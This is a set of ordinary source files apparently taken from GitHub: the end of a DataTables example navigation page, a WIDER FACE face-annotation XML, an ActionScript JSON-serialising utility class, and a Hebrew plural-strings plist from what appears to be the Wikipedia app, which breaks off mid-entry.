href="../basic_init/scroll_xy.html">Both</a> / <a href="../basic_init/scroll_y_theme.html">Themed</a> / <a href="../basic_init/scroll_y_infinite.html">Infinite</a> </li> <li><a href="../basic_init/language.html">Change language information (internationalisation)</a></li> <li><a href="../basic_init/themes.html">ThemeRoller themes (Smoothness)</a></li> </ul> <h2>Advanced initialisation</h2> <ul> <li>Events: <br> <a href="../advanced_init/events_live.html">Live events</a> / <a href="../advanced_init/events_pre_init.html">Pre-init</a> / <a href="../advanced_init/events_post_init.html">Post-init</a> </li> <li><a href="../advanced_init/column_render.html">Column rendering</a></li> <li><a href="../advanced_init/html_sort.html">Sorting without HTML tags</a></li> <li><a href="../advanced_init/dom_multiple_elements.html">Multiple table controls (sDom)</a></li> <li><a href="../advanced_init/length_menu.html">Defining length menu options</a></li> <li><a href="../advanced_init/complex_header.html">Complex headers and hidden columns</a></li> <li><a href="../advanced_init/dom_toolbar.html">Custom toolbar (element) around table</a></li> <li><a href="../advanced_init/highlight.html">Row highlighting with CSS</a></li> <li><a href="../advanced_init/row_grouping.html">Row grouping</a></li> <li><a href="../advanced_init/row_callback.html">Row callback</a></li> <li><a href="../advanced_init/footer_callback.html">Footer callback</a></li> <li><a href="../advanced_init/sorting_control.html">Control sorting direction of columns</a></li> <li><a href="../advanced_init/language_file.html">Change language information from a file (internationalisation)</a></li> <li><a href="../advanced_init/defaults.html">Setting defaults</a></li> <li><a href="../advanced_init/localstorage.html">State saving with localStorage</a></li> <li><a href="../advanced_init/dt_events.html">Custom events</a></li> </ul> <h2>API</h2> <ul> <li><a href="../api/add_row.html">Dynamically add a new row</a></li> <li><a href="../api/multi_filter.html">Individual column filtering (using "input" elements)</a></li> <li><a href="../api/multi_filter_select.html">Individual column filtering (using "select" elements)</a></li> <li><a href="../api/highlight.html">Highlight rows and columns</a></li> <li><a href="../api/row_details.html">Show and hide details about a particular record</a></li> <li><a href="../api/select_row.html">User selectable rows (multiple rows)</a></li> <li><a href="../api/select_single_row.html">User selectable rows (single row) and delete rows</a></li> <li><a href="../api/editable.html">Editable rows (with jEditable)</a></li> <li><a href="../api/form.html">Submit form with elements in table</a></li> <li><a href="../api/counter_column.html">Index column (static number column)</a></li> <li><a href="../api/show_hide.html">Show and hide columns dynamically</a></li> <li><a href="../api/api_in_init.html">API function use in initialisation object (callback)</a></li> <li><a href="../api/tabs_and_scrolling.html">DataTables scrolling and tabs</a></li> <li><a href="../api/regex.html">Regular expression filtering</a></li> </ul> </div> <div class="demo_links"> <h2>Data sources</h2> <ul> <li><a href="../data_sources/dom.html">DOM</a></li> <li><a href="../data_sources/js_array.html">Javascript array</a></li> <li><a href="../data_sources/ajax.html">Ajax source</a></li> <li><a href="../data_sources/server_side.html">Server side processing</a></li> </ul> <h2>Server-side processing</h2> <ul> <li><a href="../server_side/server_side.html">Obtain server-side data</a></li> <li><a href="../server_side/custom_vars.html">Add extra HTTP variables</a></li> <li><a href="../server_side/post.html">Use HTTP POST</a></li> <li><a href="../server_side/ids.html">Automatic addition of IDs and classes to rows</a></li> <li><a href="../server_side/object_data.html">Reading table data from objects</a></li> <li><a href="../server_side/row_details.html">Show and hide details about a particular record</a></li> <li><a href="../server_side/select_rows.html">User selectable rows (multiple rows)</a></li> <li><a href="../server_side/jsonp.html">JSONP for a cross domain data source</a></li> <li><a href="../server_side/editable.html">jEditable integration with DataTables</a></li> <li><a href="../server_side/defer_loading.html">Deferred loading of Ajax data</a></li> <li><a href="../server_side/pipeline.html">Pipelining data (reduce Ajax calls for paging)</a></li> </ul> <h2>Ajax data source</h2> <ul> <li><a href="../ajax/ajax.html">Ajax sourced data (array of arrays)</a></li> <li><a href="../ajax/objects.html">Ajax sourced data (array of objects)</a></li> <li><a href="../ajax/defer_render.html">Deferred DOM creation for extra speed</a></li> <li><a href="../ajax/null_data_source.html">Empty data source columns</a></li> <li><a href="../ajax/custom_data_property.html">Use a data source other than aaData (the default)</a></li> <li><a href="../ajax/objects_subarrays.html">Read column data from sub-arrays</a></li> <li><a href="../ajax/deep.html">Read column data from deeply nested properties</a></li> </ul> <h2>Plug-ins</h2> <ul> <li><a href="../plug-ins/plugin_api.html">Add custom API functions</a></li> <li><a href="../plug-ins/sorting_plugin.html">Sorting and automatic type detection</a></li> <li><a href="../plug-ins/sorting_sType.html">Sorting without automatic type detection</a></li> <li><a href="../plug-ins/paging_plugin.html">Custom pagination controls</a></li> <li><a href="../plug-ins/range_filtering.html">Range filtering / custom filtering</a></li> <li><a href="../plug-ins/dom_sort.html">Live DOM sorting</a></li> <li><a href="../plug-ins/html_sort.html">Automatic HTML type detection</a></li> </ul> </div> <div id="footer" class="clear" style="text-align:center;"> <p> Please refer to the <a href="http://www.datatables.net/usage">DataTables documentation</a> for full information about its API properties and methods.<br> Additionally, there are a wide range of <a href="http://www.datatables.net/extras">extras</a> and <a href="http://www.datatables.net/plug-ins">plug-ins</a> which extend the capabilities of DataTables. </p> <span style="font-size:10px;"> DataTables designed and created by <a href="http://www.sprymedia.co.uk">Allan Jardine</a> &copy; 2007-2011<br> DataTables is dual licensed under the <a href="http://www.datatables.net/license_gpl2">GPL v2 license</a> or a <a href="http://www.datatables.net/license_bsd">BSD (3-point) license</a>. </span> </div> </div> </body> </html>
{ "pile_set_name": "Github" }
<annotation> <folder>widerface</folder> <filename>55--Sports_Coach_Trainer_55_Sports_Coach_Trainer_sportcoaching_55_572.jpg</filename> <source> <database>wider face Database</database> <annotation>PASCAL VOC2007</annotation> <image>flickr</image> <flickrid>-1</flickrid> </source> <owner> <flickrid>yanyu</flickrid> <name>yanyu</name> </owner> <size> <width>1024</width> <height>768</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>109</xmin> <ymin>202</ymin> <xmax>137</xmax> <ymax>243</ymax> </bndbox> <lm> <x1>115.375</x1> <y1>217.429</y1> <x2>131.406</x2> <y2>219.21</y2> <x3>120.464</x3> <y3>223.281</y3> <x4>116.647</x4> <y4>229.897</y4> <x5>125.045</x5> <y5>230.661</y5> <visible>0</visible> <blur>0.55</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>1</xmin> <ymin>466</ymin> <xmax>13</xmax> <ymax>488</ymax> </bndbox> <lm> <x1>0.929</x1> <y1>474.714</y1> <x2>9.214</x2> <y2>473.714</y2> <x3>6.643</x3> <y3>478.0</y3> <x4>2.5</x4> <y4>483.571</y4> <x5>8.071</x5> <y5>482.571</y5> <visible>1</visible> <blur>0.3</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>65</xmin> <ymin>470</ymin> <xmax>80</xmax> <ymax>492</ymax> </bndbox> <lm> <x1>74.0</x1> <y1>478.0</y1> <x2>78.0</x2> <y2>478.0</y2> <x3>78.0</x3> <y3>482.0</y3> <x4>75.0</x4> <y4>486.0</y4> <x5>78.0</x5> <y5>486.0</y5> <visible>0</visible> <blur>0.26</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>177</xmin> <ymin>426</ymin> <xmax>196</xmax> <ymax>447</ymax> </bndbox> <lm> <x1>183.089</x1> <y1>432.518</y1> <x2>191.527</x2> <y2>433.857</y2> <x3>187.241</x3> <y3>437.339</y3> <x4>183.759</x4> <y4>441.759</y4> <x5>188.982</x5> <y5>442.295</y5> <visible>1</visible> <blur>0.42</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>221</xmin> <ymin>424</ymin> <xmax>237</xmax> <ymax>444</ymax> </bndbox> <lm> <x1>224.893</x1> <y1>430.134</y1> <x2>231.884</x2> <y2>430.781</y2> <x3>227.482</x3> <y3>434.924</y3> <x4>225.152</x4> <y4>439.326</y4> <x5>230.719</x5> <y5>439.196</y5> <visible>1</visible> <blur>0.38</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>279</xmin> <ymin>411</ymin> <xmax>297</xmax> <ymax>429</ymax> </bndbox> <lm> <x1>286.0</x1> <y1>416.0</y1> <x2>294.0</x2> <y2>417.0</y2> <x3>290.0</x3> <y3>421.0</y3> <x4>288.0</x4> <y4>426.0</y4> <x5>293.0</x5> <y5>426.0</y5> <visible>0</visible> <blur>0.39</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>340</xmin> <ymin>408</ymin> <xmax>356</xmax> <ymax>429</ymax> </bndbox> <lm> <x1>343.71</x1> <y1>415.978</y1> <x2>353.121</x2> <y2>416.116</y2> <x3>348.0</x3> <y3>419.714</y3> <x4>345.371</x4> <y4>424.558</y4> <x5>350.906</x5> <y5>424.558</y5> <visible>1</visible> <blur>0.41</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>403</xmin> <ymin>381</ymin> <xmax>422</xmax> <ymax>402</ymax> </bndbox> <lm> <x1>407.0</x1> <y1>388.0</y1> <x2>417.0</x2> <y2>387.0</y2> <x3>411.0</x3> <y3>391.0</y3> <x4>409.0</x4> <y4>396.0</y4> <x5>416.0</x5> <y5>395.0</y5> <visible>0</visible> <blur>0.39</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>495</xmin> <ymin>116</ymin> <xmax>527</xmax> <ymax>154</ymax> </bndbox> <lm> <x1>504.371</x1> <y1>127.134</y1> <x2>519.839</x2> <y2>127.871</y2> <x3>511.737</x3> <y3>134.991</y3> <x4>505.598</x4> <y4>144.076</y4> <x5>516.893</x5> <y5>144.812</y5> <visible>0</visible> <blur>0.58</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>632</xmin> <ymin>454</ymin> <xmax>649</xmax> <ymax>474</ymax> </bndbox> <lm> <x1>637.875</x1> <y1>459.75</y1> <x2>644.625</x2> <y2>460.0</y2> <x3>642.25</x3> <y3>463.375</y3> <x4>639.0</x4> <y4>467.875</y4> <x5>643.75</x5> <y5>468.0</y5> <visible>1</visible> <blur>0.37</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>680</xmin> <ymin>477</ymin> <xmax>697</xmax> <ymax>501</ymax> </bndbox> <lm> <x1>683.156</x1> <y1>484.594</y1> <x2>691.906</x2> <y2>484.281</y2> <x3>688.469</x3> <y3>490.219</y3> <x4>685.812</x4> <y4>495.219</y4> <x5>690.5</x5> <y5>494.906</y5> <visible>1</visible> <blur>0.41</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>761</xmin> <ymin>253</ymin> <xmax>800</xmax> <ymax>299</ymax> </bndbox> <lm> <x1>787.661</x1> <y1>268.339</y1> <x2>794.143</x2> <y2>266.866</y2> <x3>799.152</x3> <y3>276.0</y3> <x4>787.071</x4> <y4>286.607</y4> <x5>793.259</x5> <y5>284.839</y5> <visible>1</visible> <blur>0.27</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>866</xmin> <ymin>207</ymin> <xmax>900</xmax> <ymax>247</ymax> </bndbox> <lm> <x1>874.357</x1> <y1>221.665</y1> <x2>890.388</x2> <y2>221.411</y2> <x3>880.973</x3> <y3>228.79</y3> <x4>877.156</x4> <y4>236.424</y4> <x5>888.607</x5> <y5>235.915</y5> <visible>0</visible> <blur>0.59</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>944</xmin> <ymin>380</ymin> <xmax>964</xmax> <ymax>407</ymax> </bndbox> <lm> <x1>948.911</x1> <y1>388.25</y1> <x2>959.429</x2> <y2>388.08</y2> <x3>952.982</x3> <y3>392.661</y3> <x4>949.759</x4> <y4>398.768</y4> <x5>958.071</x5> <y5>398.598</y5> <visible>1</visible> <blur>0.44</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>840</xmin> <ymin>475</ymin> <xmax>853</xmax> <ymax>492</ymax> </bndbox> <lm> <x1>841.929</x1> <y1>480.826</y1> <x2>849.629</x2> <y2>480.491</y2> <x3>846.393</x3> <y3>485.737</y3> <x4>843.379</x4> <y4>489.308</y4> <x5>849.183</x5> <y5>489.085</y5> <visible>1</visible> <blur>0.27</blur> </lm> <has_lm>1</has_lm> </object> </annotation>
{ "pile_set_name": "Github" }
/////////////////////////////////////////////////////////// // JsonTool.as // Macromedia ActionScript Implementation of the Class JsonTool // Created on: 2015-11-27 上午9:58:59 // Original author: ww /////////////////////////////////////////////////////////// package laya.debug.tools { /** * * @author ww * @version 1.0 * * @created 2015-11-27 上午9:58:59 */ public class JsonTool { public function JsonTool() { } public static var singleLineKey:Object= { "props":true }; public static function getJsonString(obj:Object,singleLine:Boolean=true,split:String="\n",depth:int=0,Width:int=4):String { var preStr:String=""; preStr=getEmptyStr(depth*Width); var rst:String; var keyValues:Object; keyValues={}; var tKey:String; var tValue:*; var type:String; var keys:Array; keys=[]; for(tKey in obj) { keys.push(tKey); tValue=obj[tKey]; if(singleLineKey[tKey]) { keyValues[tKey]=getValueStr(tValue,true,split,depth+1,Width); }else { keyValues[tKey]=getValueStr(tValue,singleLine,split,depth+1,Width); } } var i:int,len:int; len=keys.length; keys.sort(); keys = keys.reverse(); var keyPreStr:String; keyPreStr=getEmptyStr((depth+1)*Width); if(singleLine) { split=""; preStr = ""; keyPreStr = ""; } var keyValueStrArr:Array; keyValueStrArr = []; for(i=0;i<len;i++) { tKey=keys[i]; keyValueStrArr.push(keyPreStr+wrapValue(tKey)+":"+keyValues[tKey]); } rst="{"+split+keyValueStrArr.join(","+split)+split+preStr+"}"; //rst=rst.split("\\").join("\\\\"); return rst; } private static function wrapValue(value:String,wraper:String="\""):String { return wraper+value+wraper; } private static function getArrStr(arr:Array,singleLine:Boolean=true,split:String="\n",depth:int=0,Width:int=4):String { var rst:String; var i:int,len:int; len=arr.length; var valueStrArr:Array; valueStrArr=[]; for(i=0;i<len;i++) { valueStrArr.push(getValueStr(arr[i],singleLine,split,depth+1,Width)); } var preStr:String=""; preStr=getEmptyStr((depth+1)*Width); if(singleLine) { split=""; preStr=""; } rst="["+split+preStr+valueStrArr.join(","+split+preStr)+"]"; return rst; } public static var escapable:RegExp = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, meta:Object = { // table of character substitutions '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\' }; public static function quote(string:String):String { // If the string contains no control characters, no quote characters, and no // backslash characters, then we can safely slap some quotes around it. // Otherwise we must also replace the offending characters with safe escape // sequences. escapable.lastIndex = 0; return escapable.test(string) ? '"' + string.replace(escapable, function (a:String):String { var c:String = meta[a]; return typeof c === 'string' ? c : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }) + '"' : '"' + string + '"'; } private static function getValueStr(tValue:*,singleLine:Boolean=true,split:String="\n",depth:int=0,Width:int=0):String { var rst:String; if(tValue is String ) { // rst="\""+tValue+"\""; rst=quote(tValue); }else if(tValue ==null) { rst="null"; }else if(tValue is Number||tValue is int||tValue is Boolean) { rst=tValue; }else if(tValue is Array) { rst=getArrStr(tValue,singleLine,split,depth,Width); }else if(tValue is Object) { rst=getJsonString(tValue,singleLine,split,depth,Width); }else { rst=tValue; } return rst; } public static var emptyDic:Object={}; public static function getEmptyStr(width:int):String { if(!emptyDic.hasOwnProperty(width)) { var i:int; var len:int; len=width; var rst:String; rst=""; for(i=0;i<len;i++) { rst+=" "; } emptyDic[width]=rst; } return emptyDic[width]; } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>add-articles-to-reading-list</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>הוספת %#@v1@ לרשימת הקריאה</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>דף אחד</string> <key>other</key> <string>%1$d דפים</string> </dict> </dict> <key>article-deleted-accessibility-notification</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>הערך נמחק</string> <key>other</key> <string>הערכים נמחקו</string> </dict> </dict> <key>diff-paragraph-moved-distance-line</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>שורה אחת</string> <key>other</key> <string>%1$d שורות</string> </dict> </dict> <key>diff-paragraph-moved-distance-section</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>מקטע אחד</string> <key>other</key> <string>%1$d מקטעים</string> </dict> </dict> <key>diff-single-header-editor-number-edits-format</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>עריכה אחת</string> <key>other</key> <string>%1$d עריכות</string> </dict> </dict> <key>diff-single-header-subtitle-bytes-added</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>בית אחד נוסף</string> <key>other</key> <string>%1$d בתים נוספו</string> </dict> </dict> <key>diff-single-header-subtitle-bytes-removed</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>בית אחד הוסר</string> <key>other</key> <string>%1$d בתים הוסרו</string> </dict> </dict> <key>diff-unedited-lines-format</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>שורה שלא נערכה</string> <key>other</key> <string>%1$d שורות שלא נערכו</string> </dict> </dict> <key>intermediate-edits-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>גרסת־ביניים אחת לא מוצגת</string> <key>other</key> <string>%1$d גרסאות־ביניים לא מוצגות</string> </dict> </dict> <key>intermediate-edits-editors-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@ מאת %#@v2@ %#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>אינה מוצגת</string> <key>other</key> <string>אינן מוצגות</string> </dict> <key>v2</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>משתמש אחד</string> <key>other</key> <string>%2$d משתמשים</string> </dict> </dict> <key>intermediate-edits-editors-limited-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@ מאת %2$d+ %#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>אינה מוצגת</string> <key>other</key> <string>אינן מוצגות</string> </dict> </dict> <key>intermediate-edits-limited-editors-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%1$d+ גרסאות־ביניים מאת %#@v2@ אינן מוצגות</string> <key>v2</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>משתמש אחד</string> <key>other</key> <string>%2$d משתמשים</string> </dict> </dict> <key>move-articles-to-reading-list</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>העברת %#@v1@ לרשימת הקריאה</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>דף אחד</string> <key>other</key> <string>%1$d דפים</string> </dict> </dict> <key>on-this-day-detail-header-title</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>אירוע היסטורי</string> <key>other</key> <string>%1$d אירועים היסטוריים</string> </dict> </dict> <key>page-history-revision-size-diff-addition</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>נוס%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ף בית אחד</string> <key>other</key> <string>פו %1$d בתים</string> </dict> </dict> <key>page-history-revision-size-diff-subtraction</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>הוסר%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string> בית אחד</string> <key>other</key> <string>ו %1$d בתים</string> </dict> </dict> <key>page-history-stats-text</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@ מאז %2$@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>עריכה אחת</string> <key>other</key> <string>%1$d עריכות</string> </dict> </dict> <key>places-filter-top-articles-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ערך אחד</string> <key>other</key> <string>%1$d ערכים</string> </dict> </dict> <key>reading-list-entry-limit-exceeded-title</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>חרגת ממגבלת %#@v1@ לחשבון.</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ערך אחד</string> <key>other</key> <string>%1$d ערכים</string> </dict> </dict> <key>reading-list-entry-limit-reached</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>לא ניתן להוסיף %#@v1@ לרשימה זו. הגעת למגבלה של %2$d ערכים ברשימת קריאה עבור %3$@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ערך</string> <key>other</key> <string>ערכים</string> </dict> </dict> <key>reading-list-list-limit-exceeded-title</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>חרגת ממגבלת %#@v1@ לחשבון.</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>רשימת קריאה אחת</string> <key>other</key> <string>%1$d רשימות קריאה</string> </dict> </dict> <key>reading-lists-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>רשימת קריאה אחת</string> <key>other</key> <string>%1$d רשימות קריאה</string> </dict> </dict> <key>reading-lists-delete-reading-list-alert-message</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>לא ניתן לבטל את הפעולה הזאת. כל הערכים שנשמרו %#@v1@ לא יישמרו.</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ברשימה זו בלבד</string> <key>other</key> <string>ברשימות אלה בלבד</string> </dict> </dict> <key>reading-lists-delete-reading-list-alert-title</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>למחוק את %#@v1@?</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>הרשימה</string> <key>other</key> <string>הרשימות</string> </dict> </dict> <key>reading-lists-large-sync-completed</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@ %#@v2@ סונכרנו מהחשבון שלך</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ערך אחד</string> <key>other</key> <string>%1$d ערכים</string> </dict> <key>v2</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>ורשימת קריאה אחת</string> <key>other</key> <string>ו־%2$d רשימות קריאה</string> </dict> </dict> <key>relative-date-days-ago</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>אתמול</string> <key>other</key> <string>לפני %1$d ימים</string> <key>zero</key> <string>היום</string> </dict> </dict> <key>relative-date-hours-ago</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>לפני שעה</string> <key>other</key> <string>לפני %1$d שעות</string> <key>zero</key> <string>לפני זמן קצר</string> </dict> </dict> <key>relative-date-minutes-ago</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>לפני דקה</string> <key>other</key> <string>לפני %1$d דקות</string> <key>zero</key> <string>זה עתה</string> </dict> </dict> <key>relative-date-months-ago</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>בחודש שעבר</string> <key>other</key> <string>לפני %1$d חודשים</string> <key>zero</key> <string>החודש</string> </dict> </dict> <key>relative-date-years-ago</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>בשנה שעברה</string> <key>other</key> <string>לפני %1$d שנים</string> <key>zero</key> <string>השנה</string> </dict> </dict> <key>replace-replace-all-results-count</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>%#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>פריט אחד הוחלף</string> <key>other</key> <string>%1$d פריטים הוחלפו</string> </dict> </dict> <key>saved-unsave-article-and-remove-from-reading-lists-message</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>ביטול השמירה של %#@v1@ מכל רשימות הקריאה המשויכות %#@v1@</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> 